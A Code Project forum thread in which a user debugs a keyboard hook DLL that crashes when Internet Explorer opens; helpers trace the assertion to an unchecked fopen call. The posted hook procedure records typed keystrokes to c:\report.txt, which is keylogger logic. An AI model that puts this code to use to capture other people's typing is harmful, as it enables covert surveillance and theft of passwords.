Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups
Skins
  • Light
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (No Skin)
  • No Skin
Collapse
Code Project
  1. Home
  2. General Programming
  3. C / C++ / MFC
  4. GetKeyboardState + iexplore

GetKeyboardState + iexplore

Scheduled Pinned Locked Moved C / C++ / MFC
help
7 Posts 5 Posters 0 Views 1 Watching
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • C Offline
    C Offline
    cjsc
    wrote on last edited by
    #1

    hi member I am using GetKeyboardState and iexplore.I am getting assertion when i click on iexplore.

        GetKeyboardState(ks);
    WORD w;
    UINT scan;
    scan=0;
    ToAscii(wParam,scan,ks,&w,0);
    ch =char(w); 
    

    Please help me.

    _ A R 3 Replies Last reply
    0
    • C cjsc

      hi member I am using GetKeyboardState and iexplore.I am getting assertion when i click on iexplore.

          GetKeyboardState(ks);
      WORD w;
      UINT scan;
      scan=0;
      ToAscii(wParam,scan,ks,&w,0);
      ch =char(w); 
      

      Please help me.

      _ Offline
      _ Offline
      _Superman_
      wrote on last edited by
      #2

      cjsc wrote:

      I am using GetKeyboardState and iexplore.

      What do you mean by this? Please elaborate.

      «_Superman_» I love work. It gives me something to do between weekends.
      Microsoft MVP (Visual C++)

      1 Reply Last reply
      0
      • C cjsc

        hi member I am using GetKeyboardState and iexplore.I am getting assertion when i click on iexplore.

            GetKeyboardState(ks);
        WORD w;
        UINT scan;
        scan=0;
        ToAscii(wParam,scan,ks,&w,0);
        ch =char(w); 
        

        Please help me.

        A Offline
        A Offline
        Avi Berger
        wrote on last edited by
        #3

        Am I correct that you are: Writing and installing a keyboard hook? Trigger an assertion in your code when you start Internet Explorer? What assertion do you get? What is the code that gives the assertion? Since you are getting an assertion, the place to look is at that assertion. Ask yourself: What is the expected condition that was violated? Can I trace this back from the occurence of the assertion to the origin of the problem?

        Please do not read this signature.

        1 Reply Last reply
        0
        • C cjsc

          hi member I am using GetKeyboardState and iexplore.I am getting assertion when i click on iexplore.

              GetKeyboardState(ks);
          WORD w;
          UINT scan;
          scan=0;
          ToAscii(wParam,scan,ks,&w,0);
          ch =char(w); 
          

          Please help me.

          R Offline
          R Offline
          Rajesh R Subramanian
          wrote on last edited by
          #4

          Reach out to the source file and line number specified in the assertion, and see what condition is failing.

          “Follow your bliss.” – Joseph Campbell

          C 1 Reply Last reply
          0
          • R Rajesh R Subramanian

            Reach out to the source file and line number specified in the assertion, and see what condition is failing.

            “Follow your bliss.” – Joseph Campbell

            C Offline
            C Offline
            cjsc
            wrote on last edited by
            #5

            Thank for all of you. Sir i found dll from this site. Assertion getting when i click on internet explorer.

            char ch;
            if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
            {
            if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
            {
            f1=fopen("c:\\report.txt","a+");
            if (wParam==VK_RETURN)
            {
            ch='\n';
            fwrite(&ch,1,1,f1);
            }
            else
            {
            BYTE ks[256];
            GetKeyboardState(ks);Here assertion showing

                        WORD w;
                        UINT scan=0;
                        ToAscii(wParam,scan,ks,&w,0);
                        ch = char(w); 
                        fwrite(&ch,1,1,f1);
                    }
                fclose(f1);
                }
            }
            

            Assertion

            files\internet explore\iexplore.exe
            File:f:\dd\vctools\ctr_blb\self_x86\crt\src\fwrite.c
            line:77

            Expression:(stream!=NULL)

            Thanks

            C T 2 Replies Last reply
            0
            • C cjsc

              Thank for all of you. Sir i found dll from this site. Assertion getting when i click on internet explorer.

              char ch;
              if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
              {
              if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
              {
              f1=fopen("c:\\report.txt","a+");
              if (wParam==VK_RETURN)
              {
              ch='\n';
              fwrite(&ch,1,1,f1);
              }
              else
              {
              BYTE ks[256];
              GetKeyboardState(ks);Here assertion showing

                          WORD w;
                          UINT scan=0;
                          ToAscii(wParam,scan,ks,&w,0);
                          ch = char(w); 
                          fwrite(&ch,1,1,f1);
                      }
                  fclose(f1);
                  }
              }
              

              Assertion

              files\internet explore\iexplore.exe
              File:f:\dd\vctools\ctr_blb\self_x86\crt\src\fwrite.c
              line:77

              Expression:(stream!=NULL)

              Thanks

              C Offline
              C Offline
              cjsc
              wrote on last edited by
              #6

              please help me

              1 Reply Last reply
              0
              • C cjsc

                Thank for all of you. Sir i found dll from this site. Assertion getting when i click on internet explorer.

                char ch;
                if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
                {
                if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
                {
                f1=fopen("c:\\report.txt","a+");
                if (wParam==VK_RETURN)
                {
                ch='\n';
                fwrite(&ch,1,1,f1);
                }
                else
                {
                BYTE ks[256];
                GetKeyboardState(ks);Here assertion showing

                            WORD w;
                            UINT scan=0;
                            ToAscii(wParam,scan,ks,&w,0);
                            ch = char(w); 
                            fwrite(&ch,1,1,f1);
                        }
                    fclose(f1);
                    }
                }
                

                Assertion

                files\internet explore\iexplore.exe
                File:f:\dd\vctools\ctr_blb\self_x86\crt\src\fwrite.c
                line:77

                Expression:(stream!=NULL)

                Thanks

                T Offline
                T Offline
                tomwg12345
                wrote on last edited by
                #7

                It looks like it's actually the fwrite() line that's failing. You can tell from the assertion that your fopen() call failed. That means you don't have anything to write to but your still trying. That's why you get the assertion. Handle the case of when fopen() fails.

                1 Reply Last reply
                0
                Reply
                • Reply as topic
                Log in to reply
                • Oldest to Newest
                • Newest to Oldest
                • Most Votes


                • Login

                • Don't have an account? Register

                • Login or register to search.
                • First post
                  Last post
                0
                • Categories
                • Recent
                • Tags
                • Popular
                • World
                • Users
                • Groups